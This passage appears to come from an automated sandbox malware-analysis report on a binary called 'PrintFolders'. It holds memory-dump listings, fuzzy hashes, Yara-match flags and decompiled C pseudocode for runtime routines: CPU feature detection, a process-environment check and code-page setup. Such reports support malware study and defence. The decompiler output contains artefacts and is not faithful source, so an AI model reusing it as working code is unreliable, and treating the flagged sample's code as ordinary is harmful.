                                                          • ExitProcess.KERNEL32 ref: 10006D1C
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: Process$CurrentExitTerminate
                                                          • String ID:
                                                          • API String ID: 1703294689-0
                                                          • Opcode ID: b48507955d557410ab621ea9767185c5b28cf2fcba806ca0d5141bf90050bc88
                                                          • Instruction ID: 8090ae278696ef8d63f7159b1b54225b98daf67b6e3b66e302f5d8a45b402e03
                                                          • Opcode Fuzzy Hash: b48507955d557410ab621ea9767185c5b28cf2fcba806ca0d5141bf90050bc88
                                                          • Instruction Fuzzy Hash: 6EE08C31600148AFEB12EF60CD48B493B6AFB092C1F208415F8058A131CBB6ED91CB80
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 88%
                                                          			E0040F7F3(signed int __edx) {
                                                          				signed int _v8;
                                                          				signed int _v12;
                                                          				signed int _v16;
                                                          				signed int _v20;
                                                          				signed int _v24;
                                                          				signed int _v28;
                                                          				signed int _v32;
                                                          				signed int _v36;
                                                          				signed int _v40;
                                                          				intOrPtr _t60;
                                                          				signed int _t61;
                                                          				signed int _t62;
                                                          				signed int _t63;
                                                          				signed int _t66;
                                                          				signed int _t67;
                                                          				signed int _t73;
                                                          				intOrPtr _t74;
                                                          				intOrPtr _t75;
                                                          				intOrPtr* _t77;
                                                          				signed int _t78;
                                                          				intOrPtr* _t82;
                                                          				signed int _t85;
                                                          				signed int _t90;
                                                          				intOrPtr* _t93;
                                                          				signed int _t96;
                                                          				signed int _t99;
                                                          				signed int _t104;
                                                          
                                                          				_t90 = __edx;
                                                          				 *0x45054c =  *0x45054c & 0x00000000;
                                                          				 *0x43d060 =  *0x43d060 | 0x00000001;
                                                          				if(IsProcessorFeaturePresent(0xa) == 0) {
                                                          					L23:
                                                          					return 0;
                                                          				}
                                                          				_v20 = _v20 & 0x00000000;
                                                          				_push(_t74);
                                                          				_t93 =  &_v40;
                                                          				asm("cpuid");
                                                          				_t75 = _t74;
                                                          				 *_t93 = 0;
                                                          				 *((intOrPtr*)(_t93 + 4)) = _t74;
                                                          				 *((intOrPtr*)(_t93 + 8)) = 0;
                                                          				 *(_t93 + 0xc) = _t90;
                                                          				_v16 = _v40;
                                                          				_v12 = _v28 ^ 0x49656e69;
                                                          				_v8 = _v36 ^ 0x756e6547;
                                                          				_push(_t75);
                                                          				asm("cpuid");
                                                          				_t77 =  &_v40;
                                                          				 *_t77 = 1;
                                                          				 *((intOrPtr*)(_t77 + 4)) = _t75;
                                                          				 *((intOrPtr*)(_t77 + 8)) = 0;
                                                          				 *(_t77 + 0xc) = _t90;
                                                          				if((_v8 | _v32 ^ 0x6c65746e | _v12) != 0) {
                                                          					L9:
                                                          					_t96 =  *0x450550; // 0x2
                                                          					L10:
                                                          					_t85 = _v32;
                                                          					_t60 = 7;
                                                          					_v8 = _t85;
                                                          					if(_v16 < _t60) {
                                                          						_t78 = _v20;
                                                          					} else {
                                                          						_push(_t77);
                                                          						asm("cpuid");
                                                          						_t82 =  &_v40;
                                                          						 *_t82 = _t60;
                                                          						 *((intOrPtr*)(_t82 + 4)) = _t77;
                                                          						 *((intOrPtr*)(_t82 + 8)) = 0;
                                                          						_t85 = _v8;
                                                          						 *(_t82 + 0xc) = _t90;
                                                          						_t78 = _v36;
                                                          						if((_t78 & 0x00000200) != 0) {
                                                          							 *0x450550 = _t96 | 0x00000002;
                                                          						}
                                                          					}
                                                          					_t61 =  *0x43d060; // 0x6f
                                                          					_t62 = _t61 | 0x00000002;
                                                          					 *0x45054c = 1;
                                                          					 *0x43d060 = _t62;
                                                          					if((_t85 & 0x00100000) != 0) {
                                                          						_t63 = _t62 | 0x00000004;
                                                          						 *0x45054c = 2;
                                                          						 *0x43d060 = _t63;
                                                          						if((_t85 & 0x08000000) != 0 && (_t85 & 0x10000000) != 0) {
                                                          							asm("xgetbv");
                                                          							_v24 = _t63;
                                                          							_v20 = _t90;
                                                          							_t104 = 6;
                                                          							if((_v24 & _t104) == _t104) {
                                                          								_t66 =  *0x43d060; // 0x6f
                                                          								_t67 = _t66 | 0x00000008;
                                                          								 *0x45054c = 3;
                                                          								 *0x43d060 = _t67;
                                                          								if((_t78 & 0x00000020) != 0) {
                                                          									 *0x45054c = 5;
                                                          									 *0x43d060 = _t67 | 0x00000020;
                                                          									if((_t78 & 0xd0030000) == 0xd0030000 && (_v24 & 0x000000e0) == 0xe0) {
                                                          										 *0x43d060 =  *0x43d060 | 0x00000040;
                                                          										 *0x45054c = _t104;
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          					goto L23;
                                                          				}
                                                          				_t73 = _v40 & 0x0fff3ff0;
                                                          				if(_t73 == 0x106c0 || _t73 == 0x20660 || _t73 == 0x20670 || _t73 == 0x30650 || _t73 == 0x30660 || _t73 == 0x30670) {
                                                          					_t99 =  *0x450550; // 0x2
                                                          					_t96 = _t99 | 0x00000001;
                                                          					 *0x450550 = _t96;
                                                          					goto L10;
                                                          				} else {
                                                          					goto L9;
                                                          				}
                                                          			}






























                                                          0x0040f7f3
                                                          0x0040f7f6
                                                          0x0040f800
                                                          0x0040f811
                                                          0x0040f9c0
                                                          0x0040f9c3
                                                          0x0040f9c3
                                                          0x0040f817
                                                          0x0040f81d
                                                          0x0040f822
                                                          0x0040f826
                                                          0x0040f82a
                                                          0x0040f82b
                                                          0x0040f82d
                                                          0x0040f830
                                                          0x0040f835
                                                          0x0040f83e
                                                          0x0040f84f
                                                          0x0040f85a
                                                          0x0040f860
                                                          0x0040f861
                                                          0x0040f866
                                                          0x0040f869
                                                          0x0040f86e
                                                          0x0040f876
                                                          0x0040f879
                                                          0x0040f87c
                                                          0x0040f8c1
                                                          0x0040f8c1
                                                          0x0040f8c7
                                                          0x0040f8c7
                                                          0x0040f8cc
                                                          0x0040f8cd
                                                          0x0040f8d3
                                                          0x0040f904
                                                          0x0040f8d5
                                                          0x0040f8d7
                                                          0x0040f8d8
                                                          0x0040f8dd
                                                          0x0040f8e0
                                                          0x0040f8e2
                                                          0x0040f8e5
                                                          0x0040f8e8
                                                          0x0040f8eb
                                                          0x0040f8ee
                                                          0x0040f8f7
                                                          0x0040f8fc
                                                          0x0040f8fc
                                                          0x0040f8f7
                                                          0x0040f907
                                                          0x0040f90c
                                                          0x0040f90f
                                                          0x0040f919
                                                          0x0040f924
                                                          0x0040f92a
                                                          0x0040f92d
                                                          0x0040f937
                                                          0x0040f942
                                                          0x0040f94e
                                                          0x0040f951
                                                          0x0040f954
                                                          0x0040f95f
                                                          0x0040f964
                                                          0x0040f966
                                                          0x0040f96b
                                                          0x0040f96e
                                                          0x0040f978
                                                          0x0040f980
                                                          0x0040f985
                                                          0x0040f98f
                                                          0x0040f99d
                                                          0x0040f9b0
                                                          0x0040f9b7
                                                          0x0040f9b7
                                                          0x0040f99d
                                                          0x0040f980
                                                          0x0040f964
                                                          0x0040f942
                                                          0x00000000
                                                          0x0040f9bf
                                                          0x0040f881
                                                          0x0040f88b
                                                          0x0040f8b0
                                                          0x0040f8b6
                                                          0x0040f8b9
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000

                                                          APIs
                                                          • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0040F809
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: FeaturePresentProcessor
                                                          • String ID:
                                                          • API String ID: 2325560087-0
                                                          • Opcode ID: af8edf595f28d6e0de3f7c832e975c9ce316b7f81847fa13e3e8cff5d50537ce
                                                          • Instruction ID: 442fd19c12fe52d52473a448f085702681ee7344cd8d47f004f5f7bce1392ef5
                                                          • Opcode Fuzzy Hash: af8edf595f28d6e0de3f7c832e975c9ce316b7f81847fa13e3e8cff5d50537ce
                                                          • Instruction Fuzzy Hash: 825159B2A102199BEB29CF59D9857AABBF0FB48314F14843BD405EB791E378D904CF58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0042041F(void* __ecx) {
                                                          				char _v8;
                                                          				intOrPtr _t7;
                                                          				char _t13;
                                                          
                                                          				_t13 = 0;
                                                          				_v8 = 0;
                                                          				_t7 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
                                                          				_t16 =  *((intOrPtr*)(_t7 + 8));
                                                          				if( *((intOrPtr*)(_t7 + 8)) < 0) {
                                                          					L2:
                                                          					_t13 = 1;
                                                          				} else {
                                                          					E0041E612(_t16,  &_v8);
                                                          					if(_v8 != 1) {
                                                          						goto L2;
                                                          					}
                                                          				}
                                                          				return _t13;
                                                          			}






                                                          0x0042042c
                                                          0x0042042e
                                                          0x00420431
                                                          0x00420434
                                                          0x00420437
                                                          0x00420448
                                                          0x0042044a
                                                          0x00420439
                                                          0x0042043d
                                                          0x00420446
                                                          0x00000000
                                                          0x00000000
                                                          0x00420446
                                                          0x0042044f

                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 7fc7f42db509279383e3cc01eb7112f14e58f64f47ca781cad5004ddb32a561f
                                                          • Instruction ID: 190f8b4917172ce852a4c6c2ee3eb9eeabb4d9f649594b05df5e9f634885cc74
                                                          • Opcode Fuzzy Hash: 7fc7f42db509279383e3cc01eb7112f14e58f64f47ca781cad5004ddb32a561f
                                                          • Instruction Fuzzy Hash: 92E08C72A11278EBCB15EB89D90498AF3FCEB45B18B95449BBA05D3201C278DE40DBE4
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2ca6e8abd497ec3a1c156abf087cd513271e0a7e0f941d3f632673506c1267ca
                                                          • Instruction ID: c2f19552910a0c3bc7347bbf13de0f87239dfd182ffd37263a02f476a58fa8e8
                                                          • Opcode Fuzzy Hash: 2ca6e8abd497ec3a1c156abf087cd513271e0a7e0f941d3f632673506c1267ca
                                                          • Instruction Fuzzy Hash: 3AE08C72911238EBCB24DF89DA0499AF3ECEB44B55B51449BF901F3200C6B4DE00C7E4
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E100091C7(void* __ecx) {
                                                          				char _v8;
                                                          				intOrPtr _t7;
                                                          				char _t13;
                                                          
                                                          				_t13 = 0;
                                                          				_v8 = 0;
                                                          				_t7 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
                                                          				_t16 =  *((intOrPtr*)(_t7 + 8));
                                                          				if( *((intOrPtr*)(_t7 + 8)) < 0) {
                                                          					L2:
                                                          					_t13 = 1;
                                                          				} else {
                                                          					E10008159(_t16,  &_v8);
                                                          					if(_v8 != 1) {
                                                          						goto L2;
                                                          					}
                                                          				}
                                                          				return _t13;
                                                          			}






                                                          0x100091d4
                                                          0x100091d6
                                                          0x100091d9
                                                          0x100091dc
                                                          0x100091df
                                                          0x100091f0
                                                          0x100091f2
                                                          0x100091e1
                                                          0x100091e5
                                                          0x100091ee
                                                          0x00000000
                                                          0x00000000
                                                          0x100091ee
                                                          0x100091f7

                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 5142b2ecf730a3c36b94ed0dd87861f2f8d441af9f974cc276bfbc499525e151
                                                          • Instruction ID: 28c602149d0e72d51d161a6ecb967c1a520d45018b1f8e98f239418fe4463083
                                                          • Opcode Fuzzy Hash: 5142b2ecf730a3c36b94ed0dd87861f2f8d441af9f974cc276bfbc499525e151
                                                          • Instruction Fuzzy Hash: 5AE0EC72A11228EBCB15DB98D95498AB7ECFB49B90B1545AAB511D3215C270DE01C7D0
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: b2bf1e3dbd56a5e62411fbd5e71e5e7a82189cacba0b21ec395735c552563347
                                                          • Instruction ID: 16c2de7a8d20c9c44f0cfcec9700f4c07f8ea1dcaa74a4bc5a03d74aca8627af
                                                          • Opcode Fuzzy Hash: b2bf1e3dbd56a5e62411fbd5e71e5e7a82189cacba0b21ec395735c552563347
                                                          • Instruction Fuzzy Hash: 22E04F31000108EBDF216F94CE8DA493B29FB40345F000469FE04AA671CB79DC91DA48
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 81%
                                                          			E00419040(void* __edx, intOrPtr* _a4) {
                                                          				signed int _v8;
                                                          				char _v22;
                                                          				struct _cpinfo _v28;
                                                          				void* _v32;
                                                          				void* _v36;
                                                          				void* _v40;
                                                          				void* _v44;
                                                          				void* _v48;
                                                          				void* _v52;
                                                          				intOrPtr* _v56;
                                                          				signed int _v60;
                                                          				signed int _v64;
                                                          				signed int* _v68;
                                                          				intOrPtr _v72;
                                                          				signed int* _v76;
                                                          				signed int** _v80;
                                                          				signed int** _v84;
                                                          				void* _v88;
                                                          				char _v92;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				signed int _t126;
                                                          				signed int* _t129;
                                                          				intOrPtr* _t131;
                                                          				signed int* _t147;
                                                          				signed short _t150;
                                                          				signed int _t151;
                                                          				void* _t153;
                                                          				void* _t156;
                                                          				void* _t159;
                                                          				void* _t160;
                                                          				void* _t164;
                                                          				signed int _t165;
                                                          				signed int* _t166;
                                                          				signed char _t183;
                                                          				signed int* _t186;
                                                          				void* _t190;
                                                          				char _t195;
                                                          				signed char _t197;
                                                          				void* _t204;
                                                          				signed int* _t205;
                                                          				void* _t207;
                                                          				signed int* _t209;
                                                          				void* _t212;
                                                          				intOrPtr _t213;
                                                          				intOrPtr _t217;
                                                          				signed int* _t221;
                                                          				intOrPtr _t222;
                                                          				signed int _t223;
                                                          				void* _t227;
                                                          				signed int _t230;
                                                          				char* _t231;
                                                          				intOrPtr _t232;
                                                          				signed int* _t235;
                                                          				signed char* _t236;
                                                          				signed int** _t239;
                                                          				signed int** _t240;
                                                          				signed char* _t249;
                                                          				void* _t251;
                                                          				intOrPtr* _t252;
                                                          				void* _t255;
                                                          				signed int _t256;
                                                          				short* _t257;
                                                          				signed int _t260;
                                                          				signed int _t261;
                                                          				void* _t262;
                                                          				void* _t263;
                                                          
                                                          				_t233 = __edx;
                                                          				_t126 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t126 ^ _t261;
                                                          				_t252 = _a4;
                                                          				_t205 = 0;
                                                          				_v56 = _t252;
                                                          				_t237 = 0;
                                                          				_v32 = 0;
                                                          				_t213 =  *((intOrPtr*)(_t252 + 0xa8));
                                                          				_v36 = 0;
                                                          				_v40 = 0;
                                                          				_v92 = _t252;
                                                          				_v88 = 0;
                                                          				if(_t213 == 0) {
                                                          					__eflags =  *(_t252 + 0x8c);
                                                          					if( *(_t252 + 0x8c) != 0) {
                                                          						asm("lock dec dword [eax]");
                                                          					}
                                                          					 *(_t252 + 0x8c) = _t205;
                                                          					_t129 = 0;
                                                          					__eflags = 0;
                                                          					 *(_t252 + 0x90) = _t205;
                                                          					 *_t252 = 0x430310;
                                                          					 *(_t252 + 0x94) = 0x430590;
                                                          					 *(_t252 + 0x98) = 0x430710;
                                                          					 *(_t252 + 4) = 1;
                                                          					L48:
                                                          					return E0040EBBF(_t129, _t205, _v8 ^ _t261, _t233, _t237, _t252);
                                                          				}
                                                          				_t131 = _t252 + 8;
                                                          				_v52 = 0;
                                                          				if( *_t131 != 0) {
                                                          					L3:
                                                          					_v52 = E0041E25B(1, 4);
                                                          					E0041E2B8(_t205);
                                                          					_v32 = E0041E25B(0x180, 2);
                                                          					E0041E2B8(_t205);
                                                          					_t237 = E0041E25B(0x180, 1);
                                                          					_v44 = _t237;
                                                          					E0041E2B8(_t205);
                                                          					_v36 = E0041E25B(0x180, 1);
                                                          					E0041E2B8(_t205);
                                                          					_v40 = E0041E25B(0x101, 1);
                                                          					E0041E2B8(_t205);
                                                          					_t263 = _t262 + 0x3c;
                                                          					if(_v52 == _t205 || _v32 == _t205) {
                                                          						L43:
                                                          						E0041E2B8(_v52);
                                                          						E0041E2B8(_v32);
                                                          						E0041E2B8(_t237);
                                                          						E0041E2B8(_v36);
                                                          						_t205 = 1;
                                                          						__eflags = 1;
                                                          						goto L44;
                                                          					} else {
                                                          						_t217 = _v40;
                                                          						if(_t217 == 0 || _t237 == 0 || _v36 == _t205) {
                                                          							goto L43;
                                                          						} else {
                                                          							_t147 = _t205;
                                                          							do {
                                                          								 *(_t147 + _t217) = _t147;
                                                          								_t147 =  &(_t147[0]);
                                                          							} while (_t147 < 0x100);
                                                          							if(GetCPInfo( *(_t252 + 8),  &_v28) == 0) {
                                                          								goto L43;
                                                          							}
                                                          							_t150 = _v28;
                                                          							if(_t150 > 5) {
                                                          								goto L43;
                                                          							}
                                                          							_t151 = _t150 & 0x0000ffff;
                                                          							_v60 = _t151;
                                                          							if(_t151 <= 1) {
                                                          								L22:
                                                          								_t37 = _t237 + 0x81; // 0x81
                                                          								_t233 = 0xff;
                                                          								_v48 = _v40 + 1;
                                                          								_t153 = E004213EC(_t281, _t205,  *((intOrPtr*)(_t252 + 0xa8)), 0x100, _v40 + 1, 0xff, _t37, 0xff,  *(_t252 + 8), _t205);
                                                          								_t263 = _t263 + 0x24;
                                                          								_t282 = _t153;
                                                          								if(_t153 == 0) {
                                                          									goto L43;
                                                          								}
                                                          								_t156 = E004213EC(_t282, _t205,  *((intOrPtr*)(_t252 + 0xa8)), 0x200, _v48, 0xff, _v36 + 0x81, 0xff,  *(_t252 + 8), _t205);
                                                          								_t263 = _t263 + 0x24;
                                                          								_t283 = _t156;
                                                          								if(_t156 == 0) {
                                                          									goto L43;
                                                          								}
                                                          								_v72 = _v32 + 0x100;
                                                          								_t159 = E00421875(_t283, _t205, 1, _v40, 0x100, _v32 + 0x100,  *(_t252 + 8), _t205);
                                                          								_t263 = _t263 + 0x1c;
                                                          								if(_t159 == 0) {
                                                          									goto L43;
                                                          								}
                                                          								_t160 = _v32;
                                                          								_t221 = _t160 + 0xfe;
                                                          								 *_t221 = 0;
                                                          								_t233 = _v44;
                                                          								_v76 = _t221;
                                                          								_t222 = _v36;
                                                          								_t239 = _t233 + 0x80;
                                                          								 *(_t233 + 0x7f) = _t205;
                                                          								_v80 = _t239;
                                                          								 *(_t222 + 0x7f) = _t205;
                                                          								 *_t239 = _t205;
                                                          								_t240 = _t222 + 0x80;
                                                          								_v84 = _t240;
                                                          								 *_t240 = _t205;
                                                          								if(_v60 <= 1) {
                                                          									L39:
                                                          									_t223 = 0x3f;
                                                          									_push(0x1f);
                                                          									memcpy(_v32, _v32 + 0x200, _t223 << 2);
                                                          									asm("movsw");
                                                          									_t164 = memcpy(_t233, _t233 + 0x100, 0 << 2);
                                                          									_t227 = 0x1f;
                                                          									asm("movsw");
                                                          									asm("movsb");
                                                          									_t255 = _t164 + 0x100;
                                                          									_t165 = memcpy(_t164, _t255, 0 << 2);
                                                          									_t237 = _t255 + _t227 + _t227;
                                                          									asm("movsw");
                                                          									asm("movsb");
                                                          									_t252 = _v56;
                                                          									if( *(_t252 + 0x8c) != 0) {
                                                          										asm("lock xadd [ecx], eax");
                                                          										if((_t165 | 0xffffffff) == 0) {
                                                          											E0041E2B8( *(_t252 + 0x90) - 0xfe);
                                                          											_t237 = 0x80;
                                                          											E0041E2B8( *(_t252 + 0x94) - 0x80);
                                                          											E0041E2B8( *(_t252 + 0x98) - 0x80);
                                                          											E0041E2B8( *(_t252 + 0x8c));
                                                          										}
                                                          									}
                                                          									_t166 = _v52;
                                                          									 *_t166 = 1;
                                                          									 *(_t252 + 0x8c) = _t166;
                                                          									 *_t252 = _v72;
                                                          									 *(_t252 + 0x90) = _v76;
                                                          									 *(_t252 + 0x94) = _v80;
                                                          									 *(_t252 + 0x98) = _v84;
                                                          									 *(_t252 + 4) = _v60;
                                                          									L44:
                                                          									E0041E2B8(_v40);
                                                          									_t129 = _t205;
                                                          									goto L48;
                                                          								}
                                                          								if( *(_t252 + 8) != 0xfde9) {
                                                          									_t249 =  &_v22;
                                                          									__eflags = _v22 - _t205;
                                                          									if(_v22 == _t205) {
                                                          										goto L39;
                                                          									}
                                                          									_t207 = _v32;
                                                          									while(1) {
                                                          										_t183 = _t249[1];
                                                          										__eflags = _t183;
                                                          										if(_t183 == 0) {
                                                          											break;
                                                          										}
                                                          										_t256 =  *_t249 & 0x000000ff;
                                                          										_v64 = _t256;
                                                          										__eflags = _t256 - (_t183 & 0x000000ff);
                                                          										if(_t256 > (_t183 & 0x000000ff)) {
                                                          											L37:
                                                          											_t249 =  &(_t249[2]);
                                                          											__eflags =  *_t249;
                                                          											if( *_t249 != 0) {
                                                          												continue;
                                                          											}
                                                          											break;
                                                          										}
                                                          										_v48 = _t233;
                                                          										_t186 = _t222 + 0x80 + _t256;
                                                          										_t235 = _t233 - _t222;
                                                          										__eflags = _t235;
                                                          										_t230 = _v64;
                                                          										_t257 = _t207 - 0xffffff00 + _t256 * 2;
                                                          										_v68 = _t186;
                                                          										_t209 = _t186;
                                                          										do {
                                                          											 *_t257 = 0x8000;
                                                          											_t257 = _t257 + 2;
                                                          											 *(_t235 + _t209) = _t230;
                                                          											 *_t209 = _t230;
                                                          											_t230 = _t230 + 1;
                                                          											_t209 =  &(_t209[0]);
                                                          											__eflags = _t230 - (_t249[1] & 0x000000ff);
                                                          										} while (_t230 <= (_t249[1] & 0x000000ff));
                                                          										_t233 = _v44;
                                                          										_t222 = _v36;
                                                          										_t207 = _v32;
                                                          										goto L37;
                                                          									}
                                                          									L38:
                                                          									_t205 = 0;
                                                          									goto L39;
                                                          								}
                                                          								_v44 = _t160 + 0x200;
                                                          								_t231 = _t233 + 0x100;
                                                          								_t251 = _t222 - _t233;
                                                          								_t190 = 0xffffff80;
                                                          								_v48 = _t190 - _t233;
                                                          								do {
                                                          									_push(0x32);
                                                          									asm("sbb eax, eax");
                                                          									_v44 = _v44 + 2;
                                                          									 *_v44 = (0xfffffebe + _t231 & 0xffff8000) + 0x8000;
                                                          									_t212 = _v48;
                                                          									_t195 = _t231 + _t212;
                                                          									 *_t231 = _t195;
                                                          									 *((char*)(_t251 + _t231)) = _t195;
                                                          									_t231 = _t231 + 1;
                                                          								} while (_t212 + _t231 <= 0xff);
                                                          								goto L38;
                                                          							}
                                                          							_t281 =  *(_t252 + 8) - 0xfde9;
                                                          							if( *(_t252 + 8) != 0xfde9) {
                                                          								_t236 =  &_v22;
                                                          								__eflags = _v22 - _t205;
                                                          								if(__eflags == 0) {
                                                          									goto L22;
                                                          								}
                                                          								_t232 = _v40;
                                                          								while(1) {
                                                          									_t197 = _t236[1];
                                                          									__eflags = _t197;
                                                          									if(__eflags == 0) {
                                                          										break;
                                                          									}
                                                          									_t260 =  *_t236 & 0x000000ff;
                                                          									__eflags = _t260 - (_t197 & 0x000000ff);
                                                          									if(_t260 > (_t197 & 0x000000ff)) {
                                                          										L20:
                                                          										_t236 =  &(_t236[2]);
                                                          										__eflags =  *_t236 - _t205;
                                                          										if(__eflags != 0) {
                                                          											continue;
                                                          										}
                                                          										break;
                                                          									} else {
                                                          										goto L19;
                                                          									}
                                                          									do {
                                                          										L19:
                                                          										 *((char*)(_t260 + _t232)) = 0x20;
                                                          										_t260 = _t260 + 1;
                                                          										__eflags = _t260 - (_t236[1] & 0x000000ff);
                                                          									} while (_t260 <= (_t236[1] & 0x000000ff));
                                                          									goto L20;
                                                          								}
                                                          								_t252 = _v56;
                                                          								goto L22;
                                                          							}
                                                          							E00410B00(_t237, _v40 - 0xffffff80, 0x20, 0x80);
                                                          							_t263 = _t263 + 0xc;
                                                          							goto L22;
                                                          						}
                                                          					}
                                                          				}
                                                          				_push(_t131);
                                                          				_push(0x1004);
                                                          				_push(_t213);
                                                          				_push(0);
                                                          				_push( &_v92);
                                                          				_t204 = E004216C5(__edx);
                                                          				_t263 = _t262 + 0x14;
                                                          				if(_t204 != 0) {
                                                          					goto L43;
                                                          				}
                                                          				goto L3;
                                                          			}







































































                                                          0x00419040
                                                          0x00419048
                                                          0x0041904f
                                                          0x00419054
                                                          0x00419057
                                                          0x0041905a
                                                          0x0041905d
                                                          0x0041905f
                                                          0x00419062
                                                          0x00419068
                                                          0x0041906b
                                                          0x0041906e
                                                          0x00419071
                                                          0x00419076
                                                          0x00419459
                                                          0x0041945b
                                                          0x0041945d
                                                          0x0041945d
                                                          0x00419460
                                                          0x00419466
                                                          0x00419466
                                                          0x00419468
                                                          0x0041946e
                                                          0x00419474
                                                          0x0041947e
                                                          0x00419488
                                                          0x0041948f
                                                          0x0041949d
                                                          0x0041949d
                                                          0x0041907c
                                                          0x0041907f
                                                          0x00419084
                                                          0x004190a2
                                                          0x004190ac
                                                          0x004190af
                                                          0x004190c2
                                                          0x004190c5
                                                          0x004190d2
                                                          0x004190d5
                                                          0x004190d8
                                                          0x004190ea
                                                          0x004190ed
                                                          0x004190ff
                                                          0x00419102
                                                          0x00419107
                                                          0x0041910d
                                                          0x00419422
                                                          0x00419425
                                                          0x0041942d
                                                          0x00419433
                                                          0x0041943b
                                                          0x00419445
                                                          0x00419445
                                                          0x00000000
                                                          0x0041911c
                                                          0x0041911c
                                                          0x00419121
                                                          0x00000000
                                                          0x00419138
                                                          0x00419138
                                                          0x0041913a
                                                          0x0041913a
                                                          0x0041913d
                                                          0x0041913e
                                                          0x00419154
                                                          0x00000000
                                                          0x00000000
                                                          0x0041915a
                                                          0x00419160
                                                          0x00000000
                                                          0x00000000
                                                          0x00419166
                                                          0x00419169
                                                          0x0041916f
                                                          0x004191c5
                                                          0x004191c8
                                                          0x004191d2
                                                          0x004191e7
                                                          0x004191eb
                                                          0x004191f0
                                                          0x004191f3
                                                          0x004191f5
                                                          0x00000000
                                                          0x00000000
                                                          0x0041921e
                                                          0x00419223
                                                          0x00419226
                                                          0x00419228
                                                          0x00000000
                                                          0x00000000
                                                          0x00419243
                                                          0x00419249
                                                          0x0041924e
                                                          0x00419253
                                                          0x00000000
                                                          0x00000000
                                                          0x00419259
                                                          0x00419262
                                                          0x00419268
                                                          0x0041926b
                                                          0x0041926e
                                                          0x00419271
                                                          0x00419274
                                                          0x0041927a
                                                          0x0041927d
                                                          0x00419280
                                                          0x00419283
                                                          0x00419285
                                                          0x0041928b
                                                          0x0041928e
                                                          0x00419290
                                                          0x00419360
                                                          0x00419367
                                                          0x00419368
                                                          0x00419373
                                                          0x00419378
                                                          0x00419382
                                                          0x00419384
                                                          0x00419385
                                                          0x00419387
                                                          0x00419388
                                                          0x00419390
                                                          0x00419390
                                                          0x00419392
                                                          0x00419394
                                                          0x00419395
                                                          0x004193a0
                                                          0x004193a5
                                                          0x004193a9
                                                          0x004193b7
                                                          0x004193c2
                                                          0x004193ca
                                                          0x004193d8
                                                          0x004193e3
                                                          0x004193e8
                                                          0x004193a9
                                                          0x004193eb
                                                          0x004193ee
